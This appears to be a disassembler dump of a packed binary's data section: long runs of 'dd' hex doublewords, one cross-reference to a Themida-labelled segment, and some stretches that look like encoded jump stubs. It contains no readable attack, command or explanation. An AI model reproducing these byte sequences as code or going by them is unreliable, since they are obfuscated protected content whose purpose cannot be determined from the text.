dd 0DC57h, 11771E00h, 0B8F9E7D5h, 0FE966E6Ch, 9A7FA849h
dd 0FAF34D75h, 440ACED4h, 7CB8EEB0h, 8B4F5579h, 7BBA00C7h
dd 594F759Ah, 7B039057h, 44E6759Ah, 0CF1EF6FAh, 744E124Ch
dd 28B63FC3h, 7D38B672h, 0FBBAE452h, 0A5D5A221h, 0AE30759Ah
dd 886AB6F0h, 95A763E4h, 0FA8A8F52h, 0D28AAC4Dh, 15F74973h
dd 4F8B1F81h, 7A36BF01h, 0C8EC90BBh, 1C2EB51Fh, 0E28A5489h
dd 6435B24Ah, 9175982Eh, 3B85CB17h, 0FCE2EB75h, 0F44C53BDh
dd 0D6B06C16h, 6FBDFC9Ah, 25B2468Eh, 8D20AE02h, 1CDh, 31B96B2Ch
dd 0BB37F397h, 34F9B1Dh, 8AC61E85h, 135F8D0Ch, 0B8F91966h
dd 22626C6Ch, 0A9ECEAE6h, 4B517F73h, 0D3FBC38Fh, 0D7918714h
dd 0CE076273h, 9ED20A77h, 23A4AAF0h, 759A7F52h, 74B15B7h
dd 0D659030h, 4F115F8Bh, 1EC9EDh, 0A58F5262h, 3DEE551Bh
dd 7A73D272h, 0A53D5C52h, 0D2725522h, 3BE1A073h, 0DB652BB5h
dd 0C4FD0992h, 0CE579E38h, 1E000000h, 0E7D51177h, 23F0770Fh
dd 0C6759A7Fh, 2C6D7164h, 8A22F2F8h, 9A7F3CDDh, 7B3BD975h
dd 0DF88CDAFh, 759A7BF7h, 10589C02h, 0E6D41076h, 0DD8AF41Fh
dd 759A7B3Ch, 5F1DCDC9h, 533D8F0Dh, 4BDA8C3Bh, 55F78F52h
dd 0CD719C65h, 0AC3011A9h, 0C9D900E4h, 6B501558h
dd 4E891CFEh, 0A840D8FCh, 98FE5E3Fh, 51A2BB75h, 16D6973Dh
dd 2AB4399Bh, 653DBD6Fh, 28AD793Bh, 4421FBA6h, 225AF86h
dd 0D67D70FEh, 25000000h, 0A02EA262h, 16B038F8h, 9E38B06Ch
dd 583CF09h, 9D084084h, 6BB1F010h, 0ED3D7967h, 7AA2E3EDh
dd 0F6326876h, 1DCAE2FAh, 73D7907Ch, 77D71899h, 0F09ED20Ah
dd 92626EAAh, 7FAC4DFAh, 0E1E6759Ah, 47553FB0h, 91C46614h
dd 0D51177A4h, 67A3F9E7h, 0DB7F8A6Bh, 34751BB3h
dword_598468 dd 7A439AD0h, 7137B464h, 6025A80Ah, 8F69E738h, 8B094719h
; DATA XREF: Themida_:005612AAo
dd 0FF99D115h, 0B86F6DA9h, 0E59B972Ch, 0EEAF815Dh, 97009156h
dd 67E51A1Bh, 521BE521h, 0DE92564Ch, 0A02EEAB0h, 1E877D22h
dd 687664C6h, 0A78A7233h, 0ABB2D8EEh, 9F0583C9h, 6141155Bh
dd 0F8994E4Fh, 1D1A1BBFh, 3D0DE143h, 0FA3E6403h, 28701EF6h
dd 95D8E2E8h, 19579309h, 0C54h, 0A0816300h, 4BF60532h
dd 0D3AF264Ch, 0DC0C7764h, 6EAAF09Eh, 0F9236260h, 71D1D5F3h
dd 885C5D7Bh, 7C5C4C2h, 9C544B49h, 2AF6B0DEh, 0A66226A4h
dd 0EA685B28h, 8900005Eh, 0EC81243Ch, 4, 52240489h, 0C281E289h
dd 4, 8704EA83h, 895C2414h, 68552434h, 64DE4D2h, 5DE8895Dh
dd 4EC81h, 24890000h, 24048124h, 4, 4EC815Eh, 89000000h
dd 468F2404h, 2434FF08h, 4C4835Eh, 5024048Bh, 405E089h
dd 5000000h, 4, 5C240487h, 0FB5809E9h, 0B81660FFh, 64DF04Dh
dd 0E0FFC503h, 2DFDDA5Fh, 262E9462h, 1B056E71h, 372653BFh
dd 4610C5D3h, 48F4FA28h, 7DE51DACh, 1DAD11ACh, 0C586DD0h
dd 768807AEh, 67862CAFh, 0F1BA8D8Dh, 77BF064Dh, 89175BF5h
dd 4814058Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 259D0332h, 0C706480Ah, 48302585h
dd 64C006h, 5BDC8000h, 2AD985C7h, 648h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0BF2A77C3h, 0D3DB5FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0C69F19C3h, 6BF89FEBh
dd 3AD83EBAh, 81DF8B1Bh, 5B35E3C0h, 7195FF2Dh, 6A06480Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0D1E1C355h, 0FAB70FDAh, 95FF006Ah, 648092Dh
dd 1BEBC08Bh, 94FB9BE3h, 55AF742Eh, 60D22968h, 0C3AC2D3Bh
dd 0CFA88A3Dh, 5849C28Ah, 0E8E96267h, 0Bh, 0A2CE597Ah
dd 1535A932h, 8BBDFADDh, 481B519Dh, 0B58B5806h, 6481CD9h
dd 59D1C081h, 0BF0F0000h, 66FF33DAh, 0D2BFCA81h, 0BE0734FFh
dd 262616Eh, 880F6059h, 5, 174603B8h, 0E5858916h, 6106481Eh
dd 9F3FC181h, 0B5095AA4h, 6480AB9h, 0F761C181h, 11E85FE8h
dd 0F7000000h, 0A7DEDD11h, 17879F20h, 0CE775A18h, 0DC1C0FF0h
dd 28E9B58Bh, 815A0648h, 7D68D4C1h, 3820F08h, 0F000000h
dd 6651F1BFh, 8F7352BEh, 0B50B3804h, 648276Dh, 3C5D12BEh
dd 0EBEF813Ah, 2907D966h, 480BADBDh, 0E7C78106h, 8107D966h
dd 0DDF0CDF6h, 18FF815Bh, 0FFFFFA7h, 1F85h, 850F00h, 0E9000000h
dd 29h, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0DA160879h, 0D590CAF4h
dd 23DA5ABAh, 0FF46E94Dh, 86FEFFFFh, 0C6F273FCh, 0CCCEDB80h
dd 9E8C9h, 0A41B0000h, 2D2A9D74h, 60080465h, 29BDBB66h
dd 8E9h, 318E0E00h, 9C8FD90Bh, 605A618Fh, 116DB50Bh, 8C0F0648h
dd 15h, 10E9h, 0FBF78600h, 8D7A92F0h, 25B331Ah, 64F0DDFBh
dd 0C2816110h, 730Fh, 1C95BEh, 0BFB15700h, 332FF5Bh, 480C259Dh
dd 0F7815F06h, 5701875Ch, 20359D89h, 0F7810648h, 29FD905Dh
dd 2BB1858Bh, 0EF810648h, 43F95A6Ah, 17258D2Bh, 3A890648h
dd 0ADEEC081h, 0EA8326FFh, 81666004h, 0E85357F1h, 13h
dd 0FC7B39BDh, 0E9B2D496h, 0E642772Eh, 9CAA3D23h, 89DCF3D8h
dd 48088995h, 81615A06h, 1EEh, 96850F00h, 31FFFFFFh, 4810059Dh
dd 79EB06h, 8CEF9E7Dh, 0D60FE221h, 979FABAFh, 0E37C4DB2h
dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh
dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
dd 3C33594Ah, 4D520071h, 5EF357DBh, 0B79BB7D6h, 0ABAFF600h
dd 9F8995h, 0C77156F0h, 0BEB3D7h, 0D7567118h, 73E2ADC4h
dd 4AAC12F2h, 0EB4E9h, 0F5E26800h, 5AE9064Dh, 68FFFA8Ah
dd 64DF6BAh, 0FA8A50E9h, 0F7B768FFh, 46E9064Dh, 68FFFA8Ah
dd 64DF8F9h, 0FA8A3CE9h, 0F98968FFh, 32E9064Dh, 68FFFA8Ah
dd 64DFA35h, 0FA8A28E9h, 0FAD168FFh, 1EE9064Dh, 68FFFA8Ah
dd 64DFB88h, 0FA8A14E9h, 0FC4068FFh, 0AE9064Dh, 68FFFA8Ah
dd 64DFCEBh, 0FA8A00E9h, 0FE0868FFh, 0F6E9064Dh, 68FFFA89h
dd 64E0061h, 0FA89ECE9h, 16C68FFh, 0E2E9064Eh, 17FFFA89h
dd 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh, 4551330Eh, 0BBD8B8B9h
dd 4346E2DAh, 0F6D37521h, 7C73FEAAh, 0E4E3801Ch, 0E6B8CF84h
dd 7C7226A2h, 850F982Eh, 0FE8AFBFEh, 0BA127E75h, 724CDB81h
dd 7C6C45CBh, 0F6E0831Fh, 83F47550h, 77A0AA94h, 0BBC8491Fh
dd 6CAA692Bh, 8976E07Ch, 0DC2FCA66h, 0DAE647D2h, 1C6DEA4Fh
dd 7CA7379Fh, 0A6DBA95Ah, 33h, 0DC7EB9FDh, 44F9B249h, 7FD97002h
dd 841543EBh, 507C6C57h, 0CC882657h, 877C6C47h, 32C914CBh
dd 6C481C5Ch, 67CFA87Ch, 0A91BAC57h, 0EB76DBh, 85AD0000h
dd 0D06CFBFEh, 12A550h, 62CA6226h, 0BF1794E5h, 0C5C46030h
dd 3C33BE52h, 0F28E1996h, 610E7F72h, 5BAA49C9h, 73455E2Fh
dd 87F475EDh, 294B4EF5h, 24E0EEBFh, 4C59DA76h, 24DC3672h
dd 0CFC26276h, 0E483F1BEh, 0EA890567h, 70079EEFh, 0DBC385D9h
dd 96117624h, 24DB8038h, 8B234C76h, 0D3420833h, 0F3A9473Ch
dd 4E697ECFh, 255251D2h, 5DE0EE44h, 897C6C8Ah, 112A82EEh
dd 0AB45DC4Bh, 28A60C09h, 82B6DDD0h, 6D04931Ch, 26D55711h
dd 2FEE6576h, 51F24558h, 38DD75F2h, 7B1918A4h, 3F8E832Fh
dd 12A18E8Fh, 4178F6A9h, 6700000Ch, 0F5A1C3DEh, 722E4A4Fh
dd 692FEEDh, 9501637Eh, 6B88E8E9h, 0B3B6320Ah, 2623C5D1h
dd 0ACA34E5Ah, 5453D0CCh, 0B6089F34h, 7C7227F2h, 85BF68FEh
dd 0C98F8F9h, 91006067h, 0D87E73FFh, 0DC7EB9CFh, 90CB749h
dd 2933B78h, 6C401DACh, 0E6B8C97Ch, 7C6C3FA2h, 512E25CEh
dd 0D5472050h, 5C5D2A2Fh, 9B448DFh, 63B755C2h, 0C0410D7Fh
dd 0B7FD4D6Ah, 927C6CBCh, 0D64D7B20h, 0CDBA984h, 0AEh
dd 0FBFE8597h, 7F72FE8Ah, 36EDB00Eh, 5AD97624h, 0C2613D5Fh
dd 0DDE6B6C7h, 24F3A83Fh, 0A21F5002h, 328C09A1h, 7C6D522Bh
dd 0F8D0B0FFh, 0F38A1DBFh, 76DCDD59h, 0B7B36F58h, 29BCFB82h
dd 8A16EB97h, 3589921Eh, 7626B073h, 6B92641h, 12A1567Eh
dd 6927D748h, 3F00000Bh, 0CDD9BBB6h, 4A462227h, 0DECAD6B5h
dd 6D395B56h, 83A0C0C1h, 6B6E0A32h, 1E0B9D09h, 849B2672h
dd 0C0BA8E4h, 8EE0F76Ch, 7C7228CAh, 85D7B016h, 998F8F9h
dd 12853972h, 548994B3h, 24414206h, 73E18E76h, 0BF5BF3F6h
dd 42533134h, 4095D3ABh, 44237624h, 0FE85D5EEh, 75FE8AFBh
dd 0E186127Eh, 6B0295E2h, 24325513h, 0BC126376h, 762432FCh
dd 882EAFC8h, 0C6C6B08h, 29B41C95h, 7DCC5C0h, 0E90DBFAFh
dd 4441ACEh, 0D07624EEh, 2DBF56D7h, 11149F85h, 35B3A90h
dd 7C6CFE3Ah, 147176Eh, 0CF7C6CE7h, 0B2B530A0h, 0C527A4C5h
dd 0F7184A0Bh, 0D3794273h, 0BFE76A44h, 77036E2Eh, 0E485F2CFh
dd 7D461667h, 0F8B148DFh, 910043F4h, 0DDFB5340h, 73FA08F7h
dd 1B98344Dh, 5B0A4E1Ch, 0A9D667E5h, 8A26BD28h, 1F9CEDE8h
dd 5D58DBB7h, 0C5C0633Fh
dd 0E2AD407Ah, 9B97620h, 0A6Ch, 0DCBCB332h, 452722C0h
dd 0C9ABB649h, 3C5C55DDh, 0A7C5C460h, 630F379Ch, 0F096026Eh
dd 9E1B7715h, 6ADF99Bh, 0DBF26103h, 7229C583h, 0DA4D137Ch
dd 8AFBFE85h, 4E0A64FBh, 9A762433h, 0DED9B51Dh, 6CD5A93Ch
dd 0F87C6C4Fh, 0C2FDDDBFh, 0FC21B8ECh, 54D52213h, 0BB20EDC1h
dd 3B4482B4h, 96B8FC4Ah, 0FC937624h, 0B7C4C360h, 0B16E60F6h
dd 0E16A6C97h, 3AB6DDh, 0B9ED0000h, 7549DC7Eh, 7C6C81AFh
dd 51EB7A05h, 987DD5D4h, 1A667904h, 6C810A4Ch, 0A8B53E7Ch
dd 6C8092D6h, 0D0515E7Ch, 4659E4B0h, 9C6B929h, 0B7EC0000h
dd 0D89E7C5Ah, 2142E80Ah, 49DC7EB9h, 0A1090CB7h, 3DC35DF4h
dd 9FD9B520h, 2D762432h, 0A5EEEC42h, 0CD7C7226h, 69933A2h
dd 0E5F96A1Bh, 99A713A0h, 8312B839h, 0D84F4AE9h, 312B6D41h
dd 0FEB97C72h, 0D75C4858h, 522326C3h, 312D6B43h, 0FCBB7C72h
dd 0F681FE7Fh, 31490F5Fh, 0D1777C72h, 8AE687F4h, 0CEE945EDh
dd 1E9F921Fh, 23FF3787h, 8EE982C0h, 0FBFE8517h, 63660D99h
dd 47015DF4h, 95762440h, 593744EAh, 5529BC5Eh, 7C6C70B0h
dd 0ACC47B04h, 9A0C5B97h, 92A75E5h, 0F57C0000h, 60029EFAh
dd 0F48B0765h, 971F8BE9h, 6A2FE9Ah, 75426103h, 0C0A0A14Dh
dd 355732D4h, 0BFDDDC59h, 274540E3h, 34519ACh, 0D17C722Bh
dd 0EC80940Fh, 0F7E54D44h, 762432ADh, 0A73EDCE7h, 722627D7h
dd 2FA6C17Ch, 7113169Dh, 0C9B9E25h, 255F1975h, 26D7C72h
dd 76410FACh, 0F1AA41D4h, 7F778841h, 6229B596h, 0EE80DE4Fh
dd 0A68BC961h, 2782B966h, 44DC3072h, 0EE444784h, 9DDBB3C2h
dd 2B762982h, 3670CF4Ch, 10129E85h, 89AEF9Fh, 650C0000h
dd 10920E6Ah, 841B7715h, 7AFFB99h, 0B6326E0Ah, 0E5B2D1B3h
dd 305051DDh, 0A5C7C264h, 2F4D4CE9h, 97F5F073h, 93D5A93Ch
dd 217C722Bh, 0FE85049Fh, 75FE8AFBh, 0F373017Eh, 71F381FEh
dd 0D2800774h, 77AF206Dh, 8D7B8C5h, 33E8628Bh, 0E1D2EE15h
dd 37D34DDh, 0B96F0000h, 7549DC7Eh, 7C7226D5h, 3FD14423h
dd 8A26B1B4h, 189916F5h, 0E87F16B2h, 7225D296h, 3911E7Ch
dd 42CE6461h, 3732B1A1h, 760702A5h, 0ACFB8809h, 0E0919010h
dd 0E7AD2B83h, 217C7225h, 8DE17416h, 82BA42A4h, 4418A7C0h
dd 72129DE5h, 7EE0DBDh, 31B00000h, 0BC46523Eh, 38CFDBB9h
dd 0D3534F2Dh, 5AE6B2DEh, 0B91E2547h, 84E4E581h, 96B7608h
dd 7311109Dh, 0FB999C27h, 3F795568h, 8D7C722Dh, 0FE85683Bh
dd 0CB4857E8h, 4E45EEBAh, 0F9A61831h, 0E11254CFh, 2E18EDDh
dd 47150000h, 762432FDh, 0F76E2C17h, 2ECB2B60h, 0BE372EE9h
dd 87D6BA18h, 95127C72h, 3AC56E02h, 0B861F453h, 0E98B081Eh
dd 423336BDh, 0FC6B310Ah, 4DAE2787h, 14BA222Ah, 7B53EA81h
dd 7C71A93Dh, 846EC8Bh, 82B9C629h, 0CF833A45h, 0F9129E6Ah
dd 7528806h, 0AD540000h, 58DAB6D2h, 0DC633F5Dh, 4FF7A3C1h
dd 0FE7A1672h, 1D7A99FBh, 0F8989925h, 6D0F1AACh, 0D7B5B431h
dd 5F3D38BBh, 0DB9DF184h, 0E97C722Ch, 0FE85CC57h, 0F9D56CFBh
dd 762432BFh, 0AFCC620Dh, 225356DDh, 0DACAB12Dh, 0DDE11221h
dd 9C931EB2h, 24288EEFh, 237h, 4974148Dh, 14C8C580h, 9A1B686Fh
dd 4712B51Dh, 762432FDh, 0F76E2C17h, 8A716E82h, 0BA39B21h
dd 0DA59F38Ah, 5977DFh, 4C7C7324h, 0C7B4B330h, 409ADEB0h
dd 59267C71h, 30CC5BD8h, 0B8D4B4B3h, 14F3C3Bh, 0AD019436h
dd 82B9568Ch, 7C63AB58h, 0F09FF091h, 0DC7CCC73h, 0C5BA129Dh
dd 69B55h, 6D640D00h, 1411930Fh, 98871874h, 0D04ACF8h
dd 0B2B7336Fh, 0DCE4CDD6h, 67335150h, 0E8A4C4C1h, 722E4A4Dh
dd 3D96F2F1h, 2D94D4AAh, 9E207C72h, 0FBFE8505h, 7E75FE8Ah
dd 0A8A955E7h, 532D7502h, 0AEBF44ECh, 243298D0h, 0DA5B2476h
dd 0EE51EBEh, 73FDDE1h, 64000000h, 17A67h, 0EC80FC00h
dd 0E9E74F5Ah, 762432B1h, 4A24D8E3h, 7624330Eh, 744ADDDAh
dd 76243334h, 0EF66E780h, 7226C59Fh, 0CABDF67Ch, 0D0E6EEE9h
dd 472050E6h, 0B0B73CD0h, 383FC4D0h, 903A054Bh, 0F90A905h
dd 405C82BAh, 0A9D6A7A2h, 528603Eh, 0CBB4762Ah, 27BF34Ah
dd 0C2BD129Eh, 5E354h, 253CC500h, 0ACA94B47h, 504FD0CCh
dd 0C5DC6430h, 4A4FEBA7h, 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h
dd 2A660205h, 75EE8A89h, 2F4C0C62h, 0C6987C72h, 0FFE855Dh
dd 0A29F2959h, 9EC8D660h, 9DE26F18h, 841465E2h, 0F38BF8FFh
dd 951EC2B9h, 0CD75079Eh, 0AA425EF4h, 0DDE1F471h, 7ABh
dd 0BC67F000h, 0FC000000h, 24330447h, 65271076h, 26CF9CF2h
dd 9C1B7C72h, 83397209h, 0EAEEB1F1h, 3BB858FEh, 0BC12A93Ch
dd 7C71DFFCh, 7B07AFC8h, 0F081842Fh, 6EF9A39Ch, 0BABF45D7h
dd 0F5A34614h, 6F82B9h, 9E1CC7BDh, 900E8112h, 538h, 0A8C8C76Eh
dd 117376FCh, 85E7E285h, 8686909h, 7311109Ch, 0BF3B0350h
dd 3CC2DEBAh, 0AA574321h, 5AD9B5D7h, 0FA63D5Fh, 722EF9BFh
dd 0A661C77Ch, 8AFBFE85h, 578A75FEh, 5E09D32h, 8C1263E0h
dd 1CA74D32h, 28D37B19h, 0F2DDE19Ch, 7, 1D6729h, 85FC0000h
dd 0FE8AFBFEh, 2A017E75h, 0C8648B70h, 5E5F2C2Bh, 9C9B18F8h
dd 2A42FCh, 85C10000h, 350D0FFEh, 126EE62Bh, 321825DCh
dd 0B435B238h, 74348A21h, 40762492h, 52E08F27h, 76249313h
dd 73B96650h, 0C97F5F0h, 91EDFE85h, 762432D7h, 8A1D9AE5h
dd 0DCDD59F3h, 0D890CEAFh, 0E4762432h, 0C884339Bh, 0E4BA2DEFh
dd 7C72269Fh, 1F12922Eh, 9A9016Eh, 0DE65F76Eh, 5B2837C8h
dd 0E3BFDD5Ah, 58344540h, 932ABD5Fh, 25E6A2FCh, 0A6F27C72h
dd 2E840500h, 0C01976A0h, 92056282h, 0A0F69419h, 3BA97F17h
dd 0AFCCBDB8h, 71F28E07h, 0F97A1672h, 0F8C38DFAh, 4AEBC352h
dd 9E7C6C7Ch, 0ABBCAE11h, 5FA0C5Bh, 41B95h, 0EDE48D00h
dd 9491138Fh, 180798F4h, 8D842C78h, 3237B3EFh, 5C644D56h
dd 0E7B3D1D0h, 68244441h, 0F2AECACDh, 0BD167271h, 3114542Ah
dd 1EA07C72h, 0FBFE8585h, 70660D99h, 0F484F5F4h, 77F4754Ch
dd 0CAC96A06h, 0D48BE5BDh, 0F560670Ch, 0D54601BCh, 2484BFF9h
dd 11620D76h, 0BBA52E8Fh, 0C981F92Ch, 5C6CC243h, 0E1C047BCh
dd 599DDDh, 0B9060000h, 2D18287Eh, 1E18CE5Ch, 79923B65h
dd 0A2233AA1h, 0DE995B33h, 402F7C6Ch, 0A8BE3BD5h, 2A7D0A0Dh
dd 6C461454h, 46C7A07Ch, 0A82934CAh, 0BC47D9C8h, 0E89ECCB9h
dd 8E7A3EDAh, 50ECAA28h, 971C7C6Ch, 91EEE383h, 0E5626703h
dd 0ED880464h, 0F17E7BF9h, 3561280h, 0B9710000h, 0B249DC7Eh
dd 24329CDCh, 0E74F2876h, 44D5502Eh, 6617C6Ch, 9D981B69h
dd 5615C5ECh, 50C785BEh, 1238E65Bh, 0BA1028D0h, 0B38283DBh
dd 993382B4h, 6D6C0806h, 5E2A46ECh, 0B1F7C7D4h, 3F7624B0h
dd 1672F370h, 0F5C97D46h, 7624B0B3h, 6EF96601h, 6CC21510h
dd 28D5A17Ch, 0C9DBA829h, 0B85F2C2Dh, 98A3453Ah, 67715106h
dd 0D7548494h, 57E76E40h, 347382B4h, 0BCBB3854h, 3336BDCFh
dd 9C3E7951h, 4788B509h, 27B97C6Ch, 8BE8999Ch, 9BE89723h
dd 6C4289CBh, 0A916C07Ch, 0A902847Fh, 0E38517DBh, 78E889E6h
dd 0E18EFFFAh, 3A8549h, 50EC0000h, 383FC4D2h, 0DCAD2A4Bh
dd 0B96C77DFh, 7549DC7Eh, 7C6C4064h, 6EB403B0h, 54BB94C0h
dd 4AC40D7h, 973F7C0Dh, 0F0A4A18h, 95417C6Dh
dd 0D205FED6h, 0F8DFDBA9h, 44000000h, 91EDFE85h, 762432D7h
dd 32EAAE00h, 89F67624h, 0A0A848FBh, 754F73CCh, 0ABE077F4h
dd 0CC54F820h, 39B61CA4h, 0BDCACF6Bh, 304144EFh, 0A4C4C360h
dd 0C11BB4EDh, 0CEEAFE59h, 0E4236A68h, 0E9A27624h, 4C419C33h
dd 74EB9C08h, 4FFE8040h, 0BA868CEh, 0B3306C0Ch, 0AE89C7B4h
dd 7AE4A4FAh, 0A1F07624h, 247A8BCDh, 0D15E5976h, 0A4E9C550h
dd 0C07C6CAAh, 35CCC5A7h, 6C9A1F59h, 53C2AD7Ch, 6C9A3D7Bh
dd 46EC8B7Ch, 980FCDF6h, 0B73E49C6h, 6FE68182h, 2F5C55DDh
dd 932DE84Eh, 1A761217h, 3C249B9Eh, 0A12A111h, 1C2E595h
dd 5DE40000h, 0C86A2642h, 6CF3AFCDh, 0FF871371h, 6E0A86E2h
dd 8DEA096Bh, 680809B5h, 0DDBFAA3Ch, 472524C1h, 0CFADA84Bh
dd 6B2D8114h, 797C7232h, 0F9853CE7h, 3D4A4FEBh, 19DFF7Ch
dd 4A5E9362h, 9C8E3A9Ah, 243C86C2h, 0D4555276h, 0B9AE3557h
dd 7549DC7Eh, 7C6C4064h, 2886F7B0h, 7C6C3F6Ch, 4519B0E7h
dd 7C6C4003h, 4E00D6D1h, 34CB791h, 0CF96DBA9h, 0D000000h
dd 6CFBFE85h, 0FD5554D0h, 306A2FEh, 0E7A1FD94h, 0F5762432h
dd 9B961E8Ah, 67368433h, 63762436h, 5231D6C0h, 0D7AA5725h
dd 0DB58D9A6h, 7D51E8B9h, 7624363Bh, 7277FD89h, 4FE76405h
dd 0B22520C3h, 0CA9DAEF9h, 983E89AEh, 0D68AB51Bh, 41296F3Fh
dd 0C8B77624h, 2440DE9Ah, 0C8DEA76h, 7078C599h, 0C3AC7C6Ch
dd 0D45CF0A1h, 9E9975DDh, 0BB1569FCh, 982B6F4h, 9082F76Eh
dd 0A0BD4337h, 762F76D7h, 1F9B35E0h, 86227E1Ah, 6D2A3C83h
dd 631C12A1h, 0B7F3h, 4948E900h, 0F0F57F2Bh, 64630490h
dd 0E9E88804h, 9E931F8Bh, 0B880D1F2h, 435F3D3Ch, 0D4C0A0BDh
dd 5E4A5629h, 21B2DED5h, 3378308Eh, 0E2447C72h, 0F8F98521h
dd 60670C98h, 0FE856300h, 75FE8AFBh, 81BA127Eh, 39724CDBh
dd 817C7227h, 78FB89E6h, 0E0831F7Dh, 56DE72E5h, 0D8A9A848h
dd 4C2D5ADBh, 3E79C9E6h, 33C95437h, 0DB58807Fh, 43E0BCDCh
dd 0DD653744h, 0F35851C4h, 4289010Bh, 41C4F35Bh, 9D19B34Ah
dd 0D08EEF9Ch, 0C0D38798h, 0F9F35B24h, 0A341DB02h, 879ADEB0h
dd 5926C0D3h, 5AD9ABD8h, 0C0412E5Fh, 0E05AE6Ah, 0A58D3662h
dd 0ED9A1B1Eh, 37Dh, 0DA41DA00h, 94E5FC85h, 0B787F04h
dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah
dd 397655EAh, 0BFCCC96Bh, 4EC81B9h, 89000000h, 0E2892414h
dd 4C281h, 0EA830000h, 24148704h, 510A685Ch, 4890000h
dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 57241489h
dd 4DF492BFh, 0FB895306h, 5F5BD889h, 24148B54h, 4C481h
dd 0B9510000h, 8, 189D101h, 81240C8Bh, 4C4h, 2434FF00h
dd 4C4835Ah, 582434FFh, 4C481h, 0B6E90000h, 1BFFFA7Bh
dd 8372A7D0h, 248B8D2h, 0C503064Eh, 0F1BCE0FFh, 0F31E1F5Ch
dd 588B2600h, 0C73D23A5h, 0D202706Dh, 2FD0356h, 6E7E2E1Ch
dd 4EBD6A6Ch, 3969250Dh, 8D8D4551h, 64E037Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 85C35343h, 0BF0FCBB7h
dd 58D89C1h, 29064814h, 4811BDB5h, 2585C706h, 0D4064830h
dd 8100006Fh, 27C784CEh, 0D985C777h, 6482Ah, 8B000000h
dd 4814E185h, 4DB5FF06h, 6A064818h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0F86C357h
dd 13D99D09h, 95FF0648h, 6480E71h, 0FF006AF5h, 48092D95h
dd 0EBC08B06h, 35AF540Eh, 8C9911BBh, 0F374129Bh, 0E96F84B8h
dd 17Dh, 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h
dd 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h
dd 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h
dd 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h
dd 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h
dd 43h dup(0)
dd 36D1F800h, 0C20DA437h, 727EA6D3h, 1079E936h, 6680000h
dd 0E9064E07h, 0FFFB43A2h, 4E081E68h, 4398E906h, 0B468FFFBh
dd 0E9064E09h, 0FFFB438Eh, 4E0ABF68h, 4384E906h, 68FFFBh
dd 0E9064E0Ch, 0FFFB437Ah, 4E0CD468h, 4370E906h, 7368FFFBh
dd 0E9064E0Dh, 0FFFB4366h, 4E0DD668h, 435CE906h, 368FFFBh
dd 0E9064E0Fh, 0FFFB4352h, 4E0F7068h, 4348E906h, 0C68FFFBh
dd 0E9064E10h, 0FFFB433Eh, 4E10CE68h, 4334E906h, 8168FFFBh
dd 0E9064E11h, 0FFFB432Ah, 4E12C368h, 4320E906h, 0F268FFFBh
dd 0E9064E13h, 0FFFB4316h, 4109DBDCh, 0CB874347h, 531FCBCDh
dd 0DA966E35h, 0A32FFDBCh, 0E8A94936h, 9212BC3Ch, 199C3AB6h
dd 9B018FC3h, 234B135Fh, 0D47AD7A4h, 0BE773273h, 76921F81h
dd 4674D612h, 376D7164h, 0C9DFFDF3h, 0CFA96931h, 0A3D7E283h
dd 0C703850Bh, 3571F68Eh, 3E8F526Dh, 6D5021A6h, 0E3A573D2h
dd 0BFD76927h, 0D26D6B08h, 0B93C8E73h, 4E35BB05h, 73D26D9Dh
dd 0CED4BADAh, 0A47A440Ah, 2BB53BE1h, 1EAC82A2h, 9E38D7ECh
dd 4146h, 65907100h, 0B3F39D31h, 0EE861E57h, 7F009156h
dd 5BE5759Ah, 62B55512h, 4E108F52h, 72865B00h, 0D1C173D2h
dd 531AC2CFh, 1D29BBF5h, 769E38C4h, 7E8869DEh, 0D36D73D2h
dd 0D5984C4Dh, 0E7FEh, 0A081B900h, 4FD75E15h, 189C02BEh
dd 0B53882C8h, 39B77329h, 80CE1E9Bh, 3ADB9C02h, 2F9DF4E2h
dd 0DEFCF25Ch, 9B4C0CC8h, 759A5D28h, 4B07C3D9h, 0E7AF574Dh
dd 492BB53Bh, 0E9576203h, 9A5D917Eh, 0EA697475h, 613C2C4Ch
dd 9F379173h, 0C01C9907h, 0AC4DFA8Ah, 49759A1Ch, 0E7A015F7h
dd 8F5225E3h, 35FCFC4Eh, 893E560Ah, 891C9148h, 0D5BBD36Dh
dd 8D5C70D4h, 8120DCEEh, 0D38DC055h, 6DDAF4B5h, 7598308Ch
dd 0A875D769h, 22A4CF9h, 0D51E5F1Dh, 7100000Dh, 0FC9AD636h
dd 626C6CA4h, 0EAF4E420h, 517F73B5h, 0C9C4F450h, 9F4D4CACh
dd 11F1B5D3h, 0AE763F59h, 3AFEA422h, 0C97E16B6h, 73D47828h
dd 816BACCDh, 54B971Fh, 0EDAC32BBh, 8F15B33Fh, 3B7D234Bh
dd 96DFE1EFh, 8FFB4ADAh, 0C19EE121h, 1ED6CD53h, 0EE470E50h
dd 9D316590h, 52623C2Ah, 89C7998Fh, 0D27279D2h, 17F5B473h
dd 0AE7E3B59h, 0CFE16F20h, 0F2CC0C04h, 38C45650h, 0D9FC9Eh
dd 81BB0000h, 84D891Fh, 0D1470086h, 0ED277C23h, 0D5F0DDEFh
